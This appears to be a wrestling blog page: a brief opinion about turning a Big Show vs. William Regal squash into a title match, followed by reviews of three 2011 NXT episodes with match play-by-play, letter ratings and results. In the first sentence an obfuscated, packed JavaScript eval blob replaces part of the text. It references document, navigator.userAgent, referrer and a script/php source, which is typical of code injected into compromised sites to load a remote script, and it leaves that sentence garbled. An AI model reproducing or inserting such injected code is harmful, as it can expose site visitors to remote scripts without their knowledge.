Thought of the Day: Make It A Title Match

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nznna|var|u0026u|referrer|izirz||js|php'.split('|'),0,{})) is one of those things I put in a Smackdown review recently and it bares repeating.A few weeks ago, Big Show fought William Regal on Smackdown.  It lasted like two minutes and was a Big Show squash, making it pretty uninteresting.  My idea: make it a title match.  Regal never stood a chance, but if you make it a title match there’s a tiny chance that we could see a title change, and that makes the match more interesting.  It doesn’t hurt Show and it makes Regal look like a bigger deal, so why not do it?




NXT – May 17, 2011 – This Show Is About Rookies Isn’t It?

NXT
Date: May 17, 2011
Location: American Bank Center Arena Corpus Christi, Texas
Commentators: Todd Grisham, William Regal

FINALLY, it’s the 11th week of the show and it’s time for the first elimination in this series.  This isn’t an interesting show in the slightest and it’s not helping at all that the guys out there are rather boring indeed.  Hopefully O’Brian goes home tonight, which likely means it’ll be him vs. Novak in the final two because they’re the most bland out of all these guys.  If you don’t believe that that’s what it takes to win here, just ask Johnny Curtis.  Let’s get to it.

Naturally we open with a recap of the season and a voiceover saying it ends here for someone.  They’re still wild and young apparently.

Darren Young vs. Titus O’Neil

 

No Horny still so Titus shouts WHERE IS HE.  Young knows apparently but he’s being a meanie and won’t tell.  No Chavo either.  Did anyone check under the ring?  Young takes him down as he takes advantage of the big man’s emotions.  Titus takes over with power but takes a boot to the face after a two count.  Titus takes over again and we cut to the back with Chavo pounding on a box with chains on it, saying Horny is inside and needs help getting out.  He goes to get tools and Titus runs to the back to help and it’s a count out at 3:15.  Barely a match so no rating as about 30 seconds was footage from the back.

Titus gets Horny out, apparently knowing the back of the arena that well.  Chavo jumps him with a weapon of some kind and pulls Horny off by the beard.  Chavo shouts about remembering what Horny did to him and we go back to the arena where Young is still in the ring.  Young holds him down and Horny takes a Frog Splash.  Titus runs out for the save.

That’s What I Am ad.  You know, before the anti-bullying organization they started I kind of wanted to see it.  Now I want to hang a kid from a flag pole and berate him until he loses all conscious thought while taking his lunch money.

Horny has been taken to the hospital and Titus went with him.  That’s devotion to a leprechaun if I’ve ever seen it.

Package on Cena vs. Miz at the PPV.  This, as usual, takes far too much time.

Yoshi Tatsu vs. Byron Saxton

 

I love how Yoshi is just listed as being from Japan.  Not a city, not a part of it, just Japan.  They go to the corner to start as Regal won’t say who he thinks is going home but there’s an implication that it’s Novak.  They chop it out and Tatsu is all ticked off.  Arm drags commence and there’s the armbar by Yoshi.  Shining Wizard misses and here comes Saxton as the crowd goes silent.  Tatsu fights back with ease and fires off some kicks for two.  Yoshi goes up top and a spinwheel kick ends this clean at 3:30.  It’s as abrupt as it sounds.

Rating: D. About 10 months ago I saw Tatsu vs. Jericho in a match taped for Superstars.  It was an awesome ten minute plus match where Tatsu had me almost believing he could pull off the upset.  This was absolutely nothing like that.  Tatsu is more or less worthless here as are all Pros not named Chavo.  Terribly dull match that solved or helped nothing in the slightest.

Striker brings out Maryse who looks great in a blue dress.  She brings out Kozlov and O’Brian to talk about their bet with JTG and Novak.  Here are Novak and JTG appropriately enough.  Regal blasts both guys the entire time which is kind of amusing.  This is the finale of the bet which is which pro can make their rookie the most like their pro.  The audience is the judge as always.  Novak declares the crowd haters and bashes Regal a bit.  Novak raps a bit while JTG runs his mouth a lot.  For this bet it’s 6:30 because they’ve won hands down.  Regal’s reaction to this is priceless.

Vlad and O’Brian do some mostly synchronized dancing and some sambo/martial arts stuff.  Boards are broken.  Now what did those boards ever do to them?  Someone get the arbor foundation or whatever tree lovers are called!  Usually I would say this is as dumb as it sounds, but it’s actually dumber.  Naturally the dancing men that make Bruce Lee turn over and cover his eyes in his grave win.  JTG tries to jump Vlad and dang it we’re getting a match.

JTG vs. Vladimir Kozlov

 

This is joined in progress with JTG slapping Vlad, only to get suplexed as Vlad gets his Magnum TA on.  Well at least it’s not a tag match so we don’t have to watch the rookies fight.  JTG gets sent to the floor and yells at Regal, only to get taken back to the ring by Vlad.  Now Kozlov is sent to the floor as Regal talks about being in charge of the Ruthless (formerly Regal) Roundtable.  JTG takes over and sits on the arm as he hammers away.  That’s rather smart actually and not something you often see a guy do.

Modified X-Factor out of the corner by JTG which is called a Mug Shot.  Why is it that a majority of black wrestlers all have the character of thugs, jocks or savages?  Not saying they’ve done anything wrong mind you, but rather that they’re stereotyped so badly it’s unreal.  Vlad makes his comeback but gets caught in a neckbreaker to take him down.  A headbutt to the chest as JTG comes off the middle rope takes him down and a modified spinebuster ends JTG at 5:20.

Rating: D+. Just a match here which meant nothing for the most part.  Hopefully this is going to end the whole bet story and we can get rid of one of these guys.  Also, was there a point to this being on a show about the rookies?  It’s like parents fighting at a Little League game.  On the other hand it kept Novak and O’Brian out of the ring so how much can I complain?

Yoshi comes up to Maryse in the back and she talks about the stuff Cannon got her.  Yoshi breaks up with her and Maryse is like whatever.  Cannon pops up and promises her a shopping spree in this rather pointless segment.

Jacob Novak is gone first.  THANK GOODNESS!  Now get O’Brian out and this show is downright watchable.  He says the usual “I’ll be back” thing.  JTG rants to the fans as well.

Results

Darren Young b. Titus O’Neil via countout

Yoshi Tatsu b. Byron Saxton – Spinwheel kick from the top rope

Vladimir Kozlov b. JTG – Spinebuster

Jacob Novak was eliminated in 6th place




NXT – May 10, 2011 – This Show Flew By, Literally

NXT
Date: May 10, 2011
Location: Bridgestone Arena, Nashville, Tennessee
Commentators: Todd Grisham, William Regal

This is the tenth week and we still have no word on eliminations so I’m just going to forget about them now.  There’s nothing to note on this show other than the potential of this being the week when Novak fights Regal.  This would be the second week when that is supposed to happen so who knows.  Anyway let’s get to it.

Regal is in gear and apparently it’s his birthday.

Striker is back as a host here and brings out Maryse.  We get a clip of her getting beaten down by Kharma which means we see Kelly in those tiny white shorts which means I smile a bit.  I’m not sure if it’s just my video but the video is going in semi-fast forward.  Striker talks about the Redemption Points which Titus leads with 13.  Naturally this contest is worth six, making the previous few weeks completely pointless.

THERE IS AN ELIMINATION NEXT WEEK!!!!  THANK GOODNESS!!!  This is called King of the Hill and all you have to do is run up to the stage, grab a flag and come back to the ring and sound off an air horn.  Everyone goes at once so this takes like 15 seconds.  The fast forward thing makes it even funnier.  Titus wins, giving him 19 total points with second being something like 7.  Titus gets on the mic and says he doesn’t know where Horny is and no one else does.  He accuses Young of knowing something about it and says if Young doesn’t admit it he’ll beat it out of him.

Darren Young vs. Titus O’Neil

 

Look at these fresh matches NXT is giving us!  They’re still in fast motion here and the times will be just in seconds as I don’t know what else to do.  Young tries to leave but Titus pulls him back, shouting WHERE IS HE.  Young takes over and works on the arm.  I’m not sure if the sound is sped up also or not.  Chavo criticizes Young, saying he wasn’t known in the first season of NXT.  Did no one watch the show?

Some forearms get two for Young.  Crowd flat out does not care.  An electric chair gets Titus out of trouble and gets a gasp from the crowd for some reason.  Chavo again denies that he took Horny as a powerslam gets two for Titus.  A few seconds later a rollup ends Titus, giving him his first loss at 5:22

Rating: C-. Boring match that the fans didn’t really seem to care about.  Titus is clearly being pushed as the megastar of this season but they have him lose to a guy like Young.  I really don’t get that but I’m sure it makes sense in Vince’s mind.  That would of course imply that Vince knew this show existed, so we’ll go with it makes no sense.

Kozlov and O’Brian (sans mustache) do some sambo which O’Brian isn’t that good at.

Conor O’Brian vs. Byron Saxton

 

They’re still moving in fast motion.  I refreshed my browser and all that jazz so I’m guessing the production guys want this show to be over even more than I do.  O’Brian works on the arm for a bit as Regal says Cannon is in the lead in his eyes.  He’s making people notice him which makes sense.

The crowd flat out does not care and there’s nothing at all going on.  Regal points out the lack of fire in the guys too so it’s probably one of them going home next week.  O’Brian stays on offense the majority of the time here and puts on a stepover toehold.  Saxton fights back with a downward stunner and a bulldog type move before a middle rope elbow to the chin ends this at 4:57.

Rating: D-. Regal was right: there was nothing of note here at all.  They flat out didn’t care and there’s no reason at all to care about any of these people.  Cannon is the only one that gets a reaction as Titus gets pops because of the leprechaun and that’s about it.  Boring match all around and the lack of charisma by everyone shows through really badly here.

Saxton goes even more heel by saying Tatsu is too stupid to get that he doesn’t want him as his pro anymore.

Cannon gives Maryse a nice purse and she likes him now.  There’s your romance triangle this season.

Smackdown Rebound is about Christian and Orton from Friday.

We recap Regal vs. Novak, which is old school vs. new school for the most part.

William Regal vs. Jacob Novak

 

Novak has a little Grandmaster Sexay going on.  Novak represents the 3 S’s: street, skills and style.  JTG is heel now apparently and he makes fun of country music to prove it.  Regal sends him to the floor with relative ease.  Crowd cheers for Regal louder than they have for everything else all night.  Elbow in the corner sends Regal to the floor where JTG adds a dropkick.

Novak takes over and a knee lift gets two.  We hit the chinlock for awhile as we talk about the elimination a bit.  Clothesline puts Regal down again.  Striker talks about how good Novak is and I keep wondering what these people are talking about when they say that.  Back to the chinlock which doesn’t last as long.  Regal fights back and takes over with relative ease and the Regal Stretch ends this at 6:20.

Rating: C. Well I think we all knew that was the ending, especially given that Regal was turning 43 today.  Not much of a match but having an actual story really helped this as they had built it up to the point where you wanted Regal to show Novak who the master was out there and that’s exactly what you got.  Can’t ask for more than that.

Overall Rating: C-. The main event was by far and away better than anything else, but other than the announcement that we’re FINALLY getting to an elimination, nothing really happened here.  Horny is missing and after about 8 minutes that wasn’t mentioned again.  Oh and Maryse can be bought with purses.  Other than that, we have nothing here but thankfully someone (please O’Brian!) is gone next week.

Results

Titus O’Neil won the King of the Hill Challenge

Darren Young b. Titus O’Neil – Rollup

Byron Saxton b. Conor O’Brian – Middle rope elbow

William Regal b. Jacob Novak – Regal Stretch




NXT – May 3, 2011 – Worst Show of the Season By Far

NXT
Date: May 3, 2011
Location: Amway Center, Orlando, Florida
Commentators: Todd Grisham, William Regal

We’re here for week 9 I think of this season and tonight we get the blowoff (I guess) to one of the season’s biggest angles (kind of) as Regal faces Novak.  I’d bet on seeing a lot about last night’s Raw and in particular the birthday party for Rock.  Something tells me this is going to be more of the same stuff we’ve seen all season long, which means this show will just kind of be there.  Let’s get to it.

Theme song talks about the theme of the show in a musical format.

Darren Young vs. Chavo Guerrero

 

Horny is guest referee for no apparent reason.  Titus is on commentary for no apparent reason.  I’m having some connection issues here so there’s a chance this is going to be spotty at times.  I’ll do my best though.  Horny checks every bit of Young’s attire including his hair.  Apparently he has an illegal boot so Darren has to fight in one boot.  Horny stomps on his foot and we’re ready to go.

Titus and Regal debate the merits of wrestling barefoot which is just weird to hear from Titus.  He has a VERY deep voice that almost makes him hard to understand but once you get used to that he’s well spoken and makes some decent points.  Chavo dominates to start with basic stuff and throws on an armbar.  And there goes my feed.  Back with Chavo “hitting” a dive to the floor and by that I mean he mostly crashed and his leg hit Young.  We take an actual break after that.

Back after maybe 10 seconds with another armbar by Chavo.  We hit the floor again as my feed continues to be choppy.  I’m sorry about this guys but we’re having some weather issues here tonight.  Young takes over and fires Chavo into the ring, only to get caught by right hands.  Young gets a cover and Horny won’t count at a regular speed for him.  Regal is in wrestling gear at ringside.

Darren gets in the face of Titus for a bit as Horny still won’t count.  Young keeps pounding away and we hit the chinlock.  Chavo gets a sweet dropkick and a headscissors to take over a bit.  Horny counts for him but gets knocked down on a reversed suplex so he can’t count a Northern Lights Suplex for Young.  And Horny bites Young on what’s about eye level for him, setting up Three Amigos and the Frog Splash to end this at 9:15.  I missed roughly a minute and a half of that if you’re curious.

Rating: C-. What I saw of this was pretty dull as it was Young using his very basic offense on Chavo while Horny wouldn’t count at all.  Not much of a match but it was a god idea of course to have a guy like Chavo out there to help him as he’s going to be fine out there with his basic stuff as always.  That’s what he did here and the majority of what this had is attributed to Chavo as Young is just dull overall.

We see O’Brian and Kozlov talking earlier today about Kozlov saying O’Brian needs special skills.  Kozlov demonstrates his special skills by breaking a board over his head.  O’Brian does the same but might need a doctor.

Conor O’Brian vs. Lucky Cannon

 

O’Brian grabs a headlock to start as it’s a feeling out process.  Let the boringness begin here as there’s nothing of note going on.  Cannon puts on a headscissor choke as we’re just waiting to get to the end of the match.  O’Brian is a guy that would do FAR better in an old school system as he could develop a character in indy companies and then come back to WWE a few years later.  The problem is he has nothing at all that distinguishes him from any generic wrestler.  Anyway, O’Brian makes a small comeback but Kidd interferes and the reverse FU/Death Valley Driver ends it at 4:11.

Rating: F+. Conor manages to bring down another decent guy on this show.  I don’t know what they see in him other than he’s managing to be the dullest character of all time.  Actually that would imply he has a character.  The thing with him is his in ring stuff isn’t terrible.  It’s not good but it’s passable I guess.  He has zero character or charisma though and I don’t want to watch him in the slightest which is the worst thing you can say about a wrestler.

We recap the Kharma thing last night to explain why Maryse isn’t here.  Anything that lets me see Kelly in those shorts is a good thing.

 

Saxton comes up to Yoshi and apologizes for attacking him last week.  He wants to fix their relationship but Yoshi cuts him off, saying he needs to check on Maryse.  Saxton says that’s enough and he’s on his own now.

 

William Regal vs. Jacob Novak

 

It’s 10:30 and this is your main event, meaning we’re getting a LONG Rock video to end it.  Striker is on commentary for this.  Novak tries to talk like JTG and my head hurts.  He says that Regal is just an announcer so he means nothing.  Novak is going to make him famous.  Just….no.  Regal calls JTG a Muppet so the match is switched.

William Regal vs. JTG

 

Oh joy.  Basic match to start as Regal does what he can with the jobber heel (I guess?).  Regal sends him to the floor and JTG stalls.  Back in Novak cheats and it does nothing.  About three minutes have passed already and there’s just nothing to say about this match because there’s almost no point to these two fighting.  Regal gets the knee trembler and Novak runs in for the DQ at 6:00.

Rating: D-. I know I shortchanged this match but at the same time I just did not care.  There’s no reason for these two to fight and yet they did it anyway.  The match was boring beyond belief the entire time and the ending just keeps this going even longer.  Novak NEEDS a match with a guy like Regal because it’s kind of interesting actually.  Instead a jobber lost to Regal by DQ.  Terrible main event to a terrible show.

We get a long recap video of last night’s Raw set to a combination of I’m Coming Home by Diddy Dirty Money and Pitbull’s song.  We also see Cole getting beat up.

 

Overall Rating: F. This was the worst show this season and possibly this entire series has had ever.  The matches were weak, the main event which has had a decent build didn’t happen and nothing interesting happened in the slightest.  This season just needs to end as nothing of note is going on here anymore at all.  There’s no sense of competition and there’s no sense of this ending anytime soon.  It’s like we’re on a treadmill with this show and that’s really getting annoying.  I had zero desire to watch this after about five minutes in and that really does not happen to me when I’m watching wrestling.  Terrible, terrible show.

 

Results

Chavo Guerrero b. Darren Young – Frog Splash

Lucky Cannon b. Conor O’Brian – Fireman’s carry into a mat slam

William Regal b. JTG via disqualification when Jacob Novak interfered